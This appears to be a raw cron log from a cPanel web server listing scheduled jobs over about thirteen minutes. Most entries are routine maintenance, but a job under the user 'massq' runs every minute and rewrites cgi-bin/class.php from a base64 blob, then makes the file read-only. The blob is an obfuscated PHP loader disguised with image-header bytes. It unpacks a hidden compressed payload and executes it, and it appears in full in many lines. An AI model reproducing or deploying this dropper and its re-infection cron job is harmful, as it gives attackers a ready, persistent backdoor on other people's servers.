Sep  2 09:07:01 server CROND[14679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:08:01 server CROND[15056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:08:01 server CROND[15058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:08:01 server CROND[15059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:09:01 server CROND[15439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:09:01 server CROND[15441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:09:01 server CROND[15442]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 09:09:01 server CROND[15440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:10:01 server CROND[15854]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:10:01 server CROND[15856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:10:01 server CROND[15861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:10:01 server CROND[15867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:10:01 server CROND[15860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:10:01 server CROND[15865]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:10:01 server CROND[15863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:10:01 server CROND[15864]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:11:01 server CROND[16701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:11:01 server CROND[16702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:11:01 server CROND[16703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:12:01 server CROND[17188]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 09:12:01 server CROND[17189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:12:01 server CROND[17190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:12:01 server CROND[17191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:13:01 server CROND[17587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:13:01 server CROND[17593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:13:01 server CROND[17594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:14:01 server CROND[17972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:14:01 server CROND[17971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:14:01 server CROND[17973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:15:01 server CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:15:01 server CROND[18370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:15:01 server CROND[18373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:15:01 server CROND[18375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:15:01 server CROND[18374]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 09:15:01 server CROND[18379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:15:01 server CROND[18382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:15:01 server CROND[18381]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:16:01 server CROND[19283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:16:01 server CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:16:01 server CROND[19285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:17:01 server CROND[19659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:17:01 server CROND[19660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:17:01 server CROND[19661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:18:01 server CROND[20152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:18:01 server CROND[20153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:18:01 server CROND[20154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:19:01 server CROND[20561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:19:01 server CROND[20562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:19:01 server CROND[20563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:20:01 server CROND[20997]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 09:20:01 server CROND[20999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
